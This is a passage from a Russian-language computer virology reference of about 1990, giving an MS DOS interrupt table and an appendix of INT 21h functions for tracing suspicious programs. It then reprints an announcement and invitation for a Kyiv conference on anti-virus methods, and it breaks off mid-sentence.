нажатия клавиши, а также перед вызовом некоторых функций DOS с номерами
до 0ch включительно. PRINT (спулер печати MS DOS) перехватывает этот
вектор, чтобы найти квант времени для чтения файлов и вывода на принтер.
Это прерывание используется также различными резидентными программами.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_2A_fun_3+_Microsoft _ NETWORK _ _
_ _ _ _Networks _ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_2E_ - _3+_ сервис _ EXECUTE _Выполнить команду DOS _
_ _ _ _ MS DOS _ COMMAND _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Это недокументированное прерывание выполняет команду DOS, как если
бы эта команда была введена в ответ на подсказку DOS.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_2F_fun_3+_ сервис _ PRINT _Мультиплексное прерывание _
_ _ _ _ MS DOS _ Multiplexor _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот вектор (0000:00bc) предоставляет средства управления
процессами, доступные всей системе из любой программы. Часто
используется для проверки наличия в памяти той или иной резидентной
программы. используется спулером печати (команда PRINT).
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_41_ - _--_ Указатель_ FIXED DISK _ Таблица параметров витнчестера _
_ _ _ _ _ PARAMETERS _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Эта 16-байтовая структура находится по адресу вектора прерывания
INT 41h 4-байтовый адрес в 0:0104). Параметры для второго винчестера
(если он есть) находятся по адресу вектора INT 46h. Эти таблицы задают
некоторые важные переменные для операций с винчестера
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_46_ - _--_ Указатель_ Secondary _ Таблица параметров второго _
_ _ _ _ _ FIXED DISK _ винчестера _
_ _ _ _ _ PARAMETERS _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_4A_ - _--_ _ User Alarm _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_5C_fun_--_ сервис _ NETBIOS _ _
_ _ _ _ MS DOS _ INTERFACE _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_67_fun_--_ сервис _ LIM EMS _ Функции управления расширенной _
_ _ _ _ MS DOS _ INTERFACE _ (EMS) памятью _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_E0_ - _--_ _ _ CP/M-86 function calls _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ПРИЛОЖЕНИЕ 9
НАИБОЛЕЕ ЧАСТО ИСПОЛЬЗУЕМЫЕ ФУНКЦИИ MS DOS
В данном приложении приведены сведения о некоторых распространенных
прерываниях MS DOS. Приводимая информация полезна при трассировке
подозрительных программ и их дизассемблировании. Более подробные
сведения можно получить в электронном справочнике TECHHELP Д. Роллинга
(D.Rolling). При написании данного приложения использовано руководство
Microsoft MS DOS. Operating System 3.3. Programmer Reference Manual.
Прерывание 21 фактически не является прерыванием в строгом стысле
этого слова, поскольку оно не ведет к приостановке какой-то программы.
Это просто метод вызова фунцкий, обеспечиваемых MS DOS и прежде всего
функции управления файловой системы. Эволюция MS DOS привела к тому,
что одни и те же операции выполняются разными функциями т.е.
дублируются, а сам состав функций далек от логичности и ортогональности.
Тем не менее функционально операции можно сгруппировать следующим
образом (все числа шестнадцатеричные).
0-12 - Обмен с символьными устройствами;
12-24 - Работа с файлами с использованием FCB;
25 - Установить вектор прерываний
26 - Создать программный сегмент
27-29 - Работа с файлами с использованием FCB;
2A-2E - Обработка даты и времени:
2A - Выдать дату
2B - Установить дату
2C - Выдать время
2F-38 - Разные операции, в том числе:
30 - Выдать номер версии DOS
31 - Закончить и остаться резидентом (KEEP)
35 - Выдать значения вектора прерывания для заданной функции
39-3B - Работа с каталогами;
3C-46 - Работа с файлами с использованием логических номеров;
47 - Работа с каталогами;
48-...- Дополнительные операции.
Большинство операций использует параметры, задаваемые в регист-
рах. Для некоторых операций параметр задается в виде строки ASCIIZ -
текстовой строки, заканчивающейся нулевым байтом.
Операции 2F-38 используют вместо блока FCB так называемый
номер файла (file handle). При создании или открытии файла или
устройства в регистре AX возвращается 16-разрядный номер файла.
Значения некоторых номеров файлов определены по умолчанию:
0000 Стандартый ввод. Может переназначаться.
0001 Стандартый вывод. Может переназначаться.
0002 Стандартый вывод сообщений.
Не может переназначаться.
0003 Стандартый коммуникационный канал.
0004 Стандартое устройство печати.
Обычно функция MS DOS вызывается путем занесения номера функции в
регистр AX (точнее в его старший байт - AH) с последующим вызовом
прерывания 21. Однако существуют и другие способы обращения к этим
операциям, например с помощью длинного вызова подпрограммы (FAR CALL).
Вирусы могут пользоваться нестандартными способами обращения к функциям
MS DOS для маскировки и затруднения дизассемблирования кода.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=F +++++++
Открыть файл, используя FCB
При входе DS:DX указывает на неоткрытый блок управления файлом
(FCB). Указанное в нем имя ищется в каталоге; если оно не найдено, то в
AL возвращается FF. Если же файл найден, то в AL возвращается 00, а FCB
заполняется следующим образом: Если указан код устройства 0 (текущий
диск), он заменяется фактическим кодом диска, являеющегося в данный
момент текущим (1=A, 2=B и т.д.); поэтому переназначение текущего
диска не влияет на открытые файлы. Поле текущего блока (байты C-D)
обнуляется. Длина записи (байты E-F) устанавливается равной 80H. Длина
файл и дата заполняются на основании информации в каталоге. Если
программа работает с файлом, используя размер записи, отличный от 80H
байт, установленных по умолчанию, она должна изменить ее в FCB; она
также должна заполнить поля номера записи. Это должно быть сделано до
первого обращения к файлу.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=10 +++++++
Закрыть файл, используя FCB
Эта операция заносит в каталог информацию об изменениях файла.
При входе DS:DX указывает на открытый блок управления файлом (FCB).
Указанный файл ищется в каталоге; если он не найден, то DOS
предполагает, что была сменена дискета, и в AL возвращается FF. Если
же файл найден, то в AL возвращается 00, и производится модификация
каталога.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=11 +++++++
Искать первое имя по образцу, используя FCB
При входе DS:DX указывает на неоткрытый блок управления файлом
(FCB). В каталоге ищется первое имя, удовлетворяющее заданному в FCB
образцу (имя-образец может содержать символы ? в позициях, где может
стоять любая литера). Если такое имя не найдено, то в AL возвращется FF;
иначе в AL возвращется 00, а текущий буфер DTA заполняется следующим
образом: Если заданный FCB является расширенным, то в первый байт DTA
заносится код FF, за ним следует 5 нулевых байтов, затем байт
атрибутов из заданного FCB, код устройства (1=A, 2=B и т.д.), и затем
32 байта, содержащие копию найденного элемента каталога. Таким образом,
в DTA строится неоткрытый расширенный блок управления файлом с теми же
атрибутами, что и у заданного FCB. Если же задан обычный (не
расширенный FCB), то в первый байт DTA заносится код устройства
(1=A, 2=B и т.д.), и затем 32 байта, содержащие копию найденного
элемента каталога. Таким образом, в DTA строится неоткрытый блок
управления файлом. При использовании расширенного FCB поиск производит-
ся следующим образом:
1. Если байт атрибутов равен 0, то ищутся только имена обычных
файлов. Элементы каталога, соответствующие метке тома, подкаталогам,
скрытым и системным файлам не анализируются.
2. Если установлены атрибуты скрытого или системного файла, или
подкаталога, то они включаются в поиск. При этом выдаются как обычние
файлы так и файлы с соответствующими атрибутами. Чтобы просмотреть все
элементы каталога, кроме метки тома, следует указать в байте атрибу-
тов скрытый + системный + подкаталог.
3. Если указан атрибут метки тома, то ищется только единствен-
ный соответствующий элемент каталога. Структура байта атрибутов
приведена в Приложении 2.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=12 +++++++
Искать следующее имя по образцу, используя FCB
После обращения к операции 11, обращение к операции 12 ищет
следующее удовлетворяющее заданному в FCB образцу имя. Входные и
выходные параметры те же, что и в операции 11. При этом промежуточная
информация храниться в зарезервированных полях заданного FCB; поэтому
между обращениями к операциям 12 или 11 этот FCB не должен
использоваться для других операций.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=13 +++++++
Удалить файл, используя FCB
При входе DS:DX указывает на неоткрытый блок FCB. Все
соответствующие элементы каталога и именумые ими файлы уничтожаются.
(Имя в FCB может содержать символы ? в позициях, где может стоять
любая литера). Если таких элементов нет, в регистре AL возвращается FF,
иначе 00.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=14 +++++++
Последовательное чтение, используя FCB
При входе DS:DX указывает на открытый блок FCB. Запись,
указываемая номером текущего блока (байты C-D) и номером текущей записи
(байт 1F) пересылается в буфер DTA; номер записи увеличивается на 1.
Длина записи определяется из поля длины записи. Если обнаружен конец
файла, в регистре AL возвращается 01 или 03. Код 01 указывает, что в
буфер не переслано данных, код 03 соответствует ситуации, когда в файле
остались данные, но меньше, чем длина записи; в последнем случае запись
в буфере DTA дополняется нулевыми байтами. Код 02 означает, что
системный буфер слишком мал для обработки записи и запись переслана не
полностью. Код 00 свидетельствует о нормальном завершении операции.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=15 +++++++
Последовательная запись, используя FCB
При входе DS:DX указывает на открытый блок FCB. Запись из буфера
DTA длиной, указанной в поле длины записи, записывается в файл в
позицию, указываемую номером текущего блока и номером текущей записи;
(при длине записи, меньшей длины сектора, происходит буферизация). Номер
записи увеличивается на 1. В регистре AL возвращается код завершения: 01
диск полон; 02 - системный буфер слишком мал для обработки записи и
запись переслана не полностью. Код 00 свидетельствует о нормальном
завершении операции.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=16 +++++++
Создать файл, используя FCB
При входе DS:DX указывает на неоткрытый блок FCB. Указанное в нем
имя ищется в каталоге; если оно найдено, то соответствующий элемент
каталога используется для нового файла, иначе ищется пустой элемент;
если такового нет, в регистре AL возвращается FF. Иначе элемент каталога
инициализируется, устанавливается нулевая длина файла, файл открывается
и в регистре AL возвращается 00. Используя расширенный FCB с
соответствующими атрибутами, можно пометить создаваемый файл как
скрытый.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=17 +++++++
Переименовать файл, используя FCB
При входе DS:DX указывает на блок управления файлом (FCB),
содержащий второе имя непосредственно после первого, т.е. по адресу
DS:DX + 11H (обычно эта часть FCB зарезервирована). Все имена,
соответствующие имени-образцу, изменеются в соответствии со вторым
именем. При этом литеры имени файла в тех позициях, где в имени-образце
стоит ? не изменяются. При переименовании проверяется, чтобы в
каталоге не появилось два одинаковых имени. Если операция завершается
успешно, AL содержит 00, иначе (если имя не найдено или переименование
привело бы к дублированию имени) в AL возвращается 00.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=19 +++++++
Текущий диск
В регистре AL возвращается код устройства, являющегося текущим
диском (0=A, 1=B и т.д.).
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=1A +++++++
Задать адрес DTA
Область памяти, на которую указывает DS:DX, становится текущим
буфером DTA. При операциях обмена DOS не допускает перехода через
границу сегмента.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=21 +++++++
Чтение с прямым доступом, используя FCB
При входе DS:DX указывает на открытый блок FCB. Значения полей
номера блока и номера записи устанавливаются в соответствии со значением
поля номера записи для прямого доступа; соответствующая запись
пересылается в буфер DTA. Если обнаружен конец файла, в регистре AL
возвращается 01 или 03. Код 01 указывает, что в буфер не переслано
данных, код 03 соответствует ситуации, когда в файле остались данные, но
меньше, чем длина записи; в последнем случае запись в буфере DTA
дополняется нулевыми байтами. Код 02 означает, что системный буфер
слишком мал для обработки записи и запись переслана не полностью. Код 00
свидетельствует о нормальном завершении операции.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=22 +++++++
Запись с прямым доступом, используя FCB
При входе DS:DX указывает на открытый блок FCB. Значения полей
номера блока и номера записи устанавливаются в соответствии со значением
поля номера записи для прямого доступа. Запись из буфера DTA длиной,
указанной в поле длины записи, записывается в файл в соответствующию
этим полям позицию. (при длине записи, меньшей длины сектора, происходит
буферизация). Номер записи увеличивается на 1. В регистре AL
возвращается код завершения: 01 диск полон; 02 - системный буфер слишком
мал для обработки записи и запись переслана не полностью. Код 00
свидетельствует о нормальном завершении операции.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=23 +++++++
Определить длину файла, используя FCB
При входе DS:DX указывает на неоткрытый блок FCB. Указанное в нем
имя ищется в каталоге; если оно не найдено, то в AL возвращается FF.
Если же файл найден, то в AL возвращается 00, а в FCB в поле номера
записи для прямого доступа заносится число записей в файле. Перед
обращением к этой операции, в FCB следует занести необходимую длину
записи; иначе будет получен неверный результат.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=24 +++++++
Задать поле номера записи для прямого доступа, используя FCB
При входе DS:DX указывает на открытый блок FCB. Эта операция
заносит в поле номера записи для прямого доступа значение,
соответстующее номеру текущего блока и номеру текущей записи.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=25 +++++++
Установить вектор прерываний
В таблицу векторов прерываний для прерывания с номером, указанным
в AL, заносится 4-х байтный адрес, содержащийся в DS:DX. Содержимое
вектора прерываний может быть получено операцией 35.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=26 +++++++
Создать программный сегмент
При входе DX содержит сегментый адрес, где создается новый
программный сегмент. При этом текущий PSP (100H байт, начиная с нулевого
байта текущего программного сегмента), копируется в новый программный
сегмент. В новом PSP изменяется поле размера памяти, доступной данному
программному сегменту.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=27 +++++++
Чтение блока (прямой доступ)
При входе DS:DX указывает на открытый блок FCB; в CX указано
число записей, обязательно отличное от нуля. Указанное число записей
(длина записи определяется из поля длины записи) считывается из файла в
соответствии с полем номера записи для прямого доступа в буфер DTA. Если
обнаружен конец файла, в регистре AL возвращается 01 или 03. Код 01
указывает, что последняя считанная запись передана целиком, код 03
означает, что конец файла обнаружен посредине записи. При достижении
границы сегмента (FFFF) во время пересылки в буфер обмен завершается и в
AL возвращается 02. Код 00 свидетельствует о нормальном завершении
операции (все записи прочитаны полностью). В любом случае в регистре CX
возвращается число фактически считанных записей и поля номера записи для
прямого доступа, номера блока и номера записи увеличиваются
соответствующим образом; после завершения операции они указывают на
первую не прочитанную запись.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=28 +++++++
Запись блока (прямой доступ)
Аналогично операции 27, но производится не чтение, а запись и,
возможно, контрольное считывание. Если на диске недостаточно места для
помещения заданного числа записей, то запись не производится и
в регистре AL возвращается 01. Если при входе CX=0, то запись не
производится, но длина файла устанавливается равной длине,
соответствующей номеру записи для прямого доступа, которая может быть
больше или меньше текущей длины файла. (При этом происходит выделение
или освобождение кластеров, принадлежащих файлу).
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=2A +++++++
Выдать дату
Возвращает текущую дату в CX:DX. CX содержит год после 1980 (0 -
1980, 1 - 1981 и т.д.); DH - номер месяца (1 - январь и т.д), DL - день.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=2B +++++++
Установить дату
При входе CX:DX содержат дату в том же формате, что и в
операции 2A. Если дата задана правильно, она устанавливается как
текущая дата и в AL возвращается 00, иначе дата не изменяется и в AL
возвращается FF.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=2C +++++++
Выдать время
Возвращает текущее астрономическое время в CX:DX. CH содержит час
(0-23), CL - минуту (0-59), DH - секунду (0-59), DL - сотые доли секунды
(0-99).
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=30: ++++++
Выдать номер версии DOS
Выдает номер версии в регистрах AL (старшая часть - до точки), и
AH (младшая часть - после точки). Для версий до 2.00, AL =0.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=31 +++++++
Закончить и остаться резидентом (KEEP)
При входе в AL - код возврата, в DX - размер памяти в параграфах.
Эта операция завершает выполнение обратившегося к ней процесса и
пытается установить длину основного блока памяти этого процесса равным
указанному в в DX. Никакие другие блоки памяти, принадлежащие данному
процессу, не освобождаются.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=35 +++++++
Выдать значения вектора прерывания для заданной функции
При входе AL содержит номер прерывания. В регистрах ES:BX
возвращается адрес входа в программу обработки этого прерывания. Вектор
прерывания может быть изменен операцией 25.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=3D +++++++
Открыть файл
При входе DS:DX указывает на строку ASCIIZ, содержащую имя
устройства, составное имя каталога (path) и имя файла; AL содержит код
доступа: 0 - открыть для чтения 1 - открыть для записи 2 - открыть для
записи и чтения (модификации) Номер открытого файла возвращается в AX.
Текущая позиция устанавливается на первый байт файла (она может
быть изменена операцией 42). Полученный номер файла должен
использоваться при последующих обращениях к файлу. Время и дату
создания/модификации файла можно получить операцией 57, а атрибуты -
операцией 43. Эта операция открывает как обычные, так и скрытые файлы.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=3E +++++++
Закрыть файл
При входе BX содержит номер файла. Системные буфера, связанные с
файлом, сбрасываются, и файл закрывается.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=3F +++++++
Чтение из файла или устройства
При входе BX содержит номер файла, CX - число байт для чтения,
DS:DX - адрес буфера. В AX возвра- щается число фактически прочитанных
байт; нулевое значение указывает на попытку читать после конца файла.
Операция пересылает указанное число байт (CX) по указанному адресу
(DS:DX) из файла начиная с текущей позиции и сдвигает текущую позицию
на число прочитанных байт.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=40 +++++++
Запись в файл или устройство
При входе BX содержит номер файла, CX - число записываемых байт,
DS:DX - адрес буфера. Операция пересылает указанное число байт (CX) из
памяти по указанному адресу (DS:DX) в файл начиная с текущей позиции и
сдвигает текущую позицию на число пересланных байт. В AX возвращается
число фактически записанных байт; его отличие от заданого в BX
свидетельствует, об ошибке (обычно переполнение диска). При этом не
выдается кода ошибки, программа сама должна проверять совпадение
заданной и фактической длин.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=42 +++++++
Изменить текущую позицию (Lseek)
Текущая позиция определяет номер байта в файле, на которым будет
выполняться следующая операция обмена. При входе BX содержит номер
файла, AL - код операции, CX:DX - необходимую позицию (старшая часть - в
CX). При выходе DX:AX содержит новую текущую позицию (старшая часть - в
DX). Операция перемещает текущую позицию в зависимости от занчения AL:
AL =0 Позиция устанавливается относительно
начала файла.
AL =1 Позиция устанавливается относительно
текущей позиции.
AL =2 Позиция устанавливается относительно
конца файла.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=43 +++++++
Изменить атрибуты файла
При входе AL содержит код операции, DS:DX указывает на строку
ASCIIZ, содержащую имя устройства, составное имя каталога (path) и имя
файла. Если AL =01, файлу приписываются атрибуты, заданные в CX. Если
AL =00, атрибуты файла возвращаются в CX. структура поля атрибутов
описана в Проложении 2.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=48 +++++++
Выделить память
При входе в BX - длина необходимиого блока памяти в параграфах (в
параграфе 16 байт). После выполнения операции AX:0 указывает на
выделенный блок памяти. Если выделить блок указанной длины невозможно,
то в BX возвращается размер максимального свободного блока (в
параграфах).
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=49 +++++++
Освободить память
При входе ES:0 указывает на начало освобождаемого блока памяти,
выделенного операцией 48. Блок возвращается в пул динамической памяти
операционной системы.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=4A +++++++
Изменить длину блока памяти (Setblock)
При входе ES:0 указывает на начало освобождаемого блока памяти,
выделенного операцией 48. При входе в BX - новая (требуемая) длина
блока памяти в параграфах. DOS пытается удлинить или укоротить
указанный блок. Если увеличить блок до заданной длины невозможно, то в
BX возвращается максимальный возможный размер для данного блока (в
параграфах).
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=4B +++++++
Загрузить или выполнить программу (Exec)
Эта операция позволяет одной программе загрузить другую и, если
не указано иначе, начать ее выполнение. При входе DS:DX указывает на
строку ASCIIZ, содержащую имя устройства, составное имя каталога
(path) и имя файла, содержащего загружаемую задачу. ES:BX указывают на
блок параметров для загрузчика, а AL содержит код подоперации:
AL = 0 Загрузить и выполнить программу.
Для загруженной программы создается PSP Программного сегмен-
та (PSP) и в нем устанавличаваются соответствующие адреса реакции на
завершение и на Ctrl-Break.
Блок параметров: WORD сегментный адрес передаваемой среды. DWORD
указатель на командную строку, помещаемую в PSP +80h DWORD указатель
на FCB, помещаемый в PSP +5Ch DWORD указатель на FCB, помещаемый в
PSP +6Ch
AL = 3 Загрузить и не выполнять.
Когда программа получает управление, ей выделяется вся имею-
щаяся у DOS память. До того, как загружать другую задачу, родитель-
ская задача должна освободить для нее память операцией 4A. Как прави-
ло, задача освобождает всю неиспользуемую ею память.
Операция Exec обращается к загрузчику, являющемуся частью
COMMAND.COM и располагающемуся в конце памяти. Если программа затерла
загрузчик, то при выполнении этой операции он подзагружается, затирая
последние 1536 байт ОЗУ. Если вся память выделена задаче операцией
48, то Exec выдаст ошибку.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=4C +++++++
Завершение процесса
При входе в AL - код возврата. Операция заканчивает выполнение
текущего процесса и передает управление его родителю. При этом выдается
указанный код возврата, который может анализироваться командами IF и
ERRORLEVEL в командных файлах и операцией 4D в родительской задаче.
Все файлы, открытые заканчивающейся задачей закрываются.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=56 +++++++
Переименовать файл
При входе DS:DX указывает на строку ASCIIZ, содержащую имя
устройства, составное имя каталога (path) и имя файла, который
необходимо переименовать. ES:DI указывает на строку ASCIIZ, содержащую
новое составное имя файла. Если новое имя содержит имя устройства, оно
должно совпадать с устройством в старом имени. Имена каталогов могут
отличаться, что позволяет этой операцией не только переименовать файл,
но и переместить его в другой каталог.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AH=57 +++++++
Дата и время создания/модификации файла
При входе AL содержит 00 или 01, BX содержит номер файла. Если
AL=00, то в DX и CX возвращаются дата и время создания/модификации
файла из каталога. Если AL=01, то в каталог заносятся дата и время
создания/модификации файла из регистров DX и CX. Формат представления
даты и времени описаны в Приложении 2.
***** КОНФЕРЕНЦИЯ ПО МЕТОДАМ И СРЕДСТВАМ ЗАЩИТЫ ОТ ВИРУСОВ ****
C 14 по 17 ноября в Киеве на базе КИИГА состоится первая Всесоюзная
конференция Методы и средства защиты от компьютерных вирусов в операци-
онной системе MS DOS.
Ориентировочные темы секций, которые предполагается включить в прог-
рамму:
- классификация вирусов и методы анализа вирусоподобных программ, ин-
струментальные средства вирусолога: разработка и использование средств
дизассемблирования, трассировки и других методов анализа загрузочных мо-
дулей (руководитель секции Н.Н.Безруков);
- вопросы конструирования, cравнительный анализ и перспективные мето-
ды усиления фагов (руководитель секции Д.Н.Лозинский);
- вопросы конструирования детекторов, эвристические методы детектиро-
вания вирусов, организация входного контроля, конструирование ревизоров
и алгоритмы самотестирования программ (руководитель секции Е.Касперс-
кий);
- конструирование резидентных программ защиты, методы контроля on
the fly, нетрадиционные методы защиты от вирусов, незаражаемые и само-
излечивающиеся программы (руководитель секции А.Водяник);
- методы и алгоритмы защиты от несанкционированного копирования ком-
мерческого ПО (руководитель секции В.Герасимов);
- меры воздействия и возможные санкции против разработчиков и расп-
ространителей вирусов (общая дискуссия).
Доклады и сообщения на конференцию принимаются до 30 сентября 1990 г.
Тексты докладов и сообщений (2 экз. с экспертным заключением, оформлен-
ные в соответствии с ГОСТ, отпечатанные через 2 интервала) следует высы-
лать по адресу 252058, Киев-58, пр. косм. Комарова 1, КИИГА, корп. 3,
Авиацентр НТТМ, Оргкомитет конференции Методы и средства защиты от
компьютерных вирусов в операционной системе MS DOS. Максимальный объем
20К (8 страниц через два интервала). Предпочтение будет отдаваться док-
ладам и сообщениям, основанным на реализованных программах. О принятии
докладов авторам будет сообщено до 15 октября. Последние должны предста-
вить свое сообщение на дискете (формат MS WORD или ASCII-файл). Вопрос о
форме публикации докладов еще не решен. Оргкомитетом будет предпринят
максимум усилий по привлечению к участию в конференции лучших специалис-
тов по данной тематике. В частности, авторы удачных антивирусных
средств, распространявшихся через СОФТПАНОРАМУ, а также участники преды-
дущего конкурса будут приглашены оргкомитетом независимо от того, будет
ими представлен доклад или нет.
В рамках конференции будет проведен второй конкурс антивирусных прог-
рамм, распространяемых бесплатно. Программы, представляемые на конкурс,
должны быть переданы в оргкомитет не позднее 12 октября. Конкурс пройдет
в трех классах программ:
- фаги;
- детекторы и ревизоры;
- вакцины и фильтры.
Для победителей в каждом классе программ установлены следующие пре-
мии:
- по классу фагов (включая самообучающиеся):
I премия - 1500 руб., II - 900 руб., III - 600 руб.
- по классу детекторов и ревизоров (включая резидентные, а также модули
и заготовки на языках высокого уровня, обеспечивающие самотестирова-
ние на заражение):
I премия - 1200 руб., II - 750 руб., III - 450 руб.
- по классу вакцин и фильтров (включая специализированные драйверы и
самоизлечивающиеся оболочки):
I премия - 1200 руб., II - 750 руб., III - 450 руб.
Жюри будет состоять из независимых специалистов, продолжительное вре-
мя работающих в данной области, но не участвующих в конкурсе. Предпола-
гается участие А.Сессы (Днепропетровск), И.Карасика (Москва) и других
специалистов, включая авторов известных коммерческих программ (Д.Н.Ло-
зинский, О.Котик, А.Водяник и др.).
Помимо премий жюри будет также установлен ряд дополнительных премий.
В частности, достигнуто соглашение с редакцией журнала ИНТЕРКОМПЬЮТЕР о
специальной премии редакции. СП Новые информационные технологии уста-
новлена специальная премия, размером 1000 руб. Ведутся переговоры с ря-
дом других редакций и организаций.
Кроме того, на конференции планируется организовать демонстрацию
коммерческого программного обеспечения для защиты от вирусов.
Конференция организована Авиацентром НТТМ и пройдет на коммерческой
основе. Стоимость регистрации участников составляет 100 рублей. Эта сум-
ма включает пригласительный билет на одного участника, две дискеты с
лучшими антивирусными программами (победителями конкурса, см. выше) и
экземпляр изданной типографским способом монографии Н.Н.Безрукова
Компьютерная вирусология в мягком лакированном переплете (версия 6.0,
ориентировочный объем 25 п.л., бумага типографская No.1, из-во Украинс-
кая Советская Энциклопедия). Предполагается, что версия 6.0 станет базо-
вой на 1991 год, а последующие исправления и дополнения будут оформлять-
ся в виде приложения к базовому тексту. При перечислении денег
необходимо обязательно указывать оплата участия в конференции. Регист-
рационные взносы следует перечислять на расчетный счет Авиацентра НТТМ:
000465602 в Жовтневом отд. Промстройбанка СССР г. Киева, МФО 322067. Ко-
пии платежного поручения следует высылать по приведенному выше адресу
Авиацентра НТТМ, с указанием, нуждается ли участник в поселении или нет.
Пригласительные билеты будут выдаваться непосредственно при открытии
конференции представителям соответствующих организаций (фамилии которых
указаны в копии платежного поручения). Поселение участников, перечислив-
ших взносы после 15 октября 1990 г., не гарантируется.
Справки и текст настоящего письма (файл на дискете) можно получить:
Киев:
Безруков Николай Николаевич, дом.тел.268-10-26
(председатель оргкомитета)
Белоусов Анатолий Федорович, Авиацентр НТТМ, тел.484-94-63
(зам. председателя оргкомитета конференции)
Камышин Владимир Викторович, тел.484-90-48
Москва:
Лященко Юрий Павлович, тел.137-01-50, дом.тел.426-08-84
Министерство гражданской авиации
Киевский институт инженеров гражданской авиации
Авиацентр НТТМ
ПРИГЛАСИТЕЛЬНЫЙ БИЛЕТ И ПРОГРАММА
ПЕРВОЙ ВСЕСОЮЗНОЙ НАУЧНО-ТЕХНИЧЕСКОЙ КОНФЕРЕНЦИИ
Методы и средства защиты от компьютерных вирусов
в операционной системе MS DOS
14-17 ноября 1990 г.
г.Киев
Киев-КИИГА 1990
.
- 2 -
Уважаемый товарищ ____________________________________________
Приглашаем Вас принять участие в работе конференции Методы
и средства защиты от компьютерных вирусов в операционной системе
MS DOS. Если Ваш доклад или сообщение не включены в программу
конференции, убедительно просим подготовить стендовое сообщение
на стандартном листе ватмана с тем, чтобы участники конференции
могли ознакомиться с Вашей разработкой или подходом.
Конференция будет проходить в корп. 1 Киевского института
инженеров гражданской авиации (проспект космонавта Комарова, 1).
Заезд участников 13 ноября. Участников, не выславших в адрес
Оргкомитета копию платежного поручения, просьба иметь при себе
заверенную копию. 13 ноября регистрация и поселение с 10-00 до
23-00 в корп.3, ауд.3-302. Прибывших после 23-00 просим обращать-
ся по тел. 484-80-16 к Ткаченко Галине Эросовне или 484-90-40 к
Камышину Владимиру Викторовичу. 14 ноября регистрация участников
с 9-00 до 10-00 в вестибюле корп.1. Не гарантируется поселение
участников, с опозданием перечисливших регистрационный взнос (по-
следние обязательно должны иметь на руках заверенную копию пла-
тежного поручения).
Проезд: от аэропорта Борисполь - автобусом Экспресс до
конечной остановки (Площадь Победы), затем трамваем 1 или 3 до
остановки Гарматная; от аэропорта Киев - троллейбусом 9 до
